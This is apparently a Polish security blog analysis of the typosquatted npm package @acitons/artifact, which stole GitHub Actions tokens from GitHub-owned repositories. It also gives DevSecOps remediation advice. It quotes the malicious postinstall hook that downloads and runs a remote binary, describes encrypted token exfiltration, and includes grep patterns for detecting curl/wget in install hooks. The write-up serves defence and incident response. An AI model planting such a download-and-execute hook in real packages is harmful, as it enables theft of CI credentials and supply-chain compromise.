Złośliwy pakiet npm „@acitons/artifact” celował w repozytoria należące do GitHuba — analiza incydentu i zalecenia dla zespołów DevSecOps - Security Bez Tabu

Złośliwy pakiet npm „@acitons/artifact” celował w repozytoria należące do GitHuba — analiza incydentu i zalecenia dla zespołów DevSecOps

Wprowadzenie do problemu / definicja luki

Badacze wykryli złośliwy pakiet npm @acitons/artifact będący klasycznym typosquattingiem na @actions/artifact (oficjalny pakiet GitHub Actions odpowiedzialny za artefakty CI/CD). Celem kampanii było uruchomienie złośliwego skryptu w środowisku budowania, kradzież tokenów dostępnych w jobach GitHub Actions i potencjalne publikowanie artefaktów jako GitHub (impersonacja organizacji) lub dalsza eskalacja w łańcuchu dostaw. Źródłem technicznych szczegółów jest analiza Veracode, na którą powołuje się m.in. The Hacker News.

W skrócie

  • Złośliwy pakiet: @acitons/artifact – literówka „acitons” zamiast „actions”.
  • Wersje zawierające malware: od 4.0.12 do 4.0.17 (usunięte przez sprawcę; najnowsza „bezpieczna” na npm pozostawała 4.0.10 w chwili publikacji).
  • Mechanizm infekcji: postinstall w package.json pobierał binarkę harness, która wykonywała obfuskowany shell/JS (verify.js).
  • Cele: repozytoria należące do organizacji GitHub; skrypt kończył działanie, jeśli właścicielem nie był github.
  • Dane wykradane: zmienne GITHUB_* (np. tokeny) i egfiltracja w formie zaszyfrowanej do hostów w domenie app.github.dev.
  • Skala: ~47 405 pobrań w sumie (wg npm-stat) i ~31 398 tygodniowo w szczycie.
  • Powiązany pakiet: 8jfiesaf83 (również złośliwy, usunięty).

Kontekst / historia / powiązania

Ekosystem npm od miesięcy mierzy się z eskalacją ataków na łańcuch dostaw: kompromitacje maintainerów, typosquatting, złośliwe hooki instalacyjne i łańcuchowe infekcje jobów CI/CD. Jesienią 2025 r. CISA i partnerzy ostrzegali o „szeroko zakrojonej kompromitacji” w npm oraz rekomendowali rotację poświadczeń i wzmocnienie polityk publikacji. W tym tle atak na @acitons/artifact wpisuje się w trend uderzeń w pipeline’y CI/CD i tokeny automatyzacji.

Warto przypomnieć, że oryginalny @actions/artifact jest komponentem wewnętrznym dla akcji upload/download-artifact i jest powszechnie używany w workflow GitHub Actions — co czyni go łakomym kąskiem dla typosquattingu.

Analiza techniczna / szczegóły luki

Wejście wektorowe (typosquatting):
Atak polegał na publikacji pakietu @acitons/artifact (zamiana „ti”→„it”) z metadanymi sugerującymi powiązanie z oficjalnym repo actions/toolkit. Tego typu literówkę łatwo przeoczyć w zależnościach lub w logach CI.

Hook instalacyjny
W złośliwych wersjach (4.0.12–4.0.17) w package.json umieszczono skrypt:

"scripts": {
  "postinstall": "curl https://gist.githubusercontent.com/.../harness -o ci_test_harness && chmod +x ci_test_harness && ./ci_test_harness"
}

Plik harness był obfuskowanym skryptem powłoki (skompilowanym narzędziem „Shell Script Compiler”) z mechanizmem samorestartu i datą ważności (kill switch) po 2025-11-06 UTC. Jego łańcuch uruchomienia wydobywał z siebie paczkę Node z obfuskowanym verify.js.

Warunki celu i eksfiltracja
verify.js sprawdzał obecność zmiennych GITHUB_* ustawianych w jobach Actions i opuszczał działanie, jeśli repozytorium nie należało do organizacji github. Zebrane dane szyfrowano AES (klucz pobierany z hosta w hopto[.]org) i eksfiltrację kierowano do pliku hostowanego w subdomenie app.github.dev. To minimalizowało „szum” detekcyjny (legalnie wyglądająca domena) i utrudniało korelację.

Wskaźniki kompromitacji (IoC)
Veracode podaje m.in.:

  • Pakiety/wersje: @acitons/artifact@4.0.12…4.0.17, 8jfiesaf83@1.0.0…1.0.11
  • Konta npm/GitHub: blakesdev, jmasdg, f8snaf, s0larized
  • Hash: e3a6d0d139dc56f28f82ec161b3d17ecd137b088acd3a0e8330a5d412c025b73 (próbka)

Skala pobrań
Szacunki z npm-stat wskazują ~47 tys. pobrań łącznie i ~31 tys. w tygodniu kulminacyjnym, co pokazuje, jak szybko typosquat może wejść w obieg przy minimalnym tarciu. (Uwaga: npm-stat aktualizuje się z opóźnieniem dobowym).

Praktyczne konsekwencje / ryzyko

  • Kompromitacja GITHUB_TOKEN i sekretów joba → możliwość podszycia się pod organizację, publikacja artefaktów, modyfikacja release’ów, dołączanie złośliwych komponentów do pipeline’u.
  • Zaufanie do artefaktów — jeśli token wycieknie, atakujący może „zatrącać” supply chain na kolejnych etapach (downstream).
  • Trudna detekcja — domeny pokrewne GitHubowi (app.github.dev) i logika warunkowa ograniczająca cel do organizacji github zmniejszają widoczność incydentu w telemetrii.
  • Efekt kaskadowy — na tle wcześniejszych kampanii npm (CISA, wrzesień 2025) widać, że ataki na CI/CD są trendem, nie anomalią.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania reagowania (IR)

Skan IoC i historię buildów:

  • Przeskanuj logi pipeline’ów i rejestry artefaktów pod kątem użycia @acitons/artifact (dowolnej wersji) i 8jfiesaf83.
  • Zweryfikuj, czy w Twojej organizacji nie pojawiały się odwołania do kont blakesdev, jmasdg, f8snaf, s0larized lub do domen *.app.github.dev/*.hopto.org w kontekście jobów CI.

Rotacja sekretów:

  • Wymuś rotację GITHUB_TOKEN oraz innych sekretów występujących w workflow, w których mogło dojść do instalacji z npm (w tym w jobach uruchamiających npm i). Rekomendację rotacji w podobnych zdarzeniach wspiera CISA.

2) Szybkie „bezpieczniki” w pipeline

Wyłącz postinstall w środowiskach CI:

# Na stałe w agentach CI (globalnie):
npm config set ignore-scripts true

# Lub per-run (preferowane w CI):
npm ci --ignore-scripts
# (analogicznie dla pnpm/yarn: pnpm i --ignore-scripts / yarn install --ignore-scripts)

Wymuś „no-audit” z repo zaufanym (tylko jeśli masz wewn. mirror/air-gap):

npm config set registry https://twoj-nexus-proxy.example.com/repository/npm/

Blokuj nieznane przestrzenie nazw (scope’y) i typosquatting

  • Użyj allow-list dla scope’ów/kont dostawców w SCA/ASPM (np. blokuj wszystko poza @actions/, @org-wewnętrzna/ itd.).
  • Włącz reguły detekcji typosquattingu (Levenshtein ≤1 dla krytycznych pakietów).

Pinuj wersje i hashe artefaktów

  • W GitHub Actions ustaw permissions: na minimalne, wyłącz persist-credentials w checkout, pinuj akcje po SHA zamiast po @vX.
    Przykład minimalnego szablonu:
name: ci
on: [push]
permissions:
  contents: read
  actions: read
  id-token: none
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<commit-sha>
        with:
          persist-credentials: false
      - uses: actions/setup-node@<commit-sha>
        with:
          node-version: '20'
      - run: npm ci --ignore-scripts
      - run: npm audit --audit-level=high || true
      - name: Upload artifact
        uses: actions/upload-artifact@<commit-sha>
        with:
          name: build-output
          path: dist/

Waliduj artefakty (digesty)
GitHub dokumentuje mechanizmy weryfikacji digestu między upload/download-artifact — korzystaj z nich, egzekwuj walidację w pipeline.

3) Detekcja i hunting

Wykrywanie „podejrzanych” postinstalli w lockfile/repo:

# Prosty hunting w node_modules (CI/cache build):
grep -R --line-number '"postinstall":' node_modules 2>/dev/null

# Szukanie curl/wget w hookach instalacyjnych:
grep -R --line-number -E 'postinstall.*(curl|wget)' node_modules 2>/dev/null

Kontrola zależności w SCA/ASPM
Zaimportuj IoC i listę złośliwych wersji do narzędzia SCA (część vendorów – w tym Veracode – dodała sygnatury).

Blokowanie egress
Segmentuj sieć agentów CI; blokuj wyjścia na dynamiczne hosty (np. *.hopto.org) i egzekwuj mTLS / egress allow-list dla ruchu z jobów.

4) Higiena developerów

  • Uczul zespół na literówki w scope’ach (@acitons vs @actions).
  • Włącz npm ci (reproducible builds) zamiast npm install.
  • Wymuś code review zmian w package.json/package-lock.json i monitoruj PR-y dodające nowe zależności (policy-as-code).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Ataki łańcucha dostaw w npm (IX–X 2025): liczne incydenty (m.in. masowe kompromitacje i kradzieże krypto przez biblioteki zależności) uderzały szeroko w użytkowników. Bieżąca kampania różni się wąsko ukierunkowanym celem (GitHub-owned repos) oraz warunkową logiką ograniczającą aktywację poza organizacją GitHub — to bardziej „surgical strike” niż atak masowy.
  • W przeciwieństwie do kompromitacji istniejących, popularnych pakietów, tutaj mieliśmy typosquatting podszywający się pod powszechnie używany komponent pipelines. To zmienia wektory prewencji: ważniejsze staje się allow-listing i kontrola nazewnictwa niż tylko zaufanie do maintainerów.

Podsumowanie / kluczowe wnioski

  1. Typosquatting + postinstall w ekosystemie npm nadal skutecznie omija czujność zespołów, zwłaszcza w CI.
  2. Atak na @acitons/artifact pokazał, że tokeny CI/CD są celem samym w sobie; ich kradzież umożliwia podszywanie się i dalszą kompromitację supply chain.
  3. Operacyjne „bezpieczniki” (ignore-scripts w CI, pinning po SHA, minimalne permissions, allow-list scope’ów) istotnie ograniczają powierzchnię ataku.
  4. Utrzymuj telemetrię i hunting na hooki instalacyjne i nietypowe egressy z agentów CI.
  5. Reaguj: przeszukaj buildy, rotuj sekrety, sprawdź artefakty i audytuj zależności.

Źródła / bibliografia

  • The Hacker News — Researchers Detect Malicious npm Package Targeting GitHub-Owned Repositories (11 listopada 2025). (The Hacker News)
  • Veracode — Malicious NPM Package Found Targeting GitHub By Typosquatting on GitHub Action Packages (10 listopada 2025) — analiza techniczna i IoC. (Veracode)
  • npm-stat — statystyki pobrań @acitons/artifact. (npm-stat.com)
  • GitHub Docs — walidacja artefaktów (digest) w Actions. (GitHub Docs)
  • CISA — alert dot. szerokiej kompromitacji łańcucha dostaw w npm (wrzesień 2025) — tło i zalecenia. (CISA)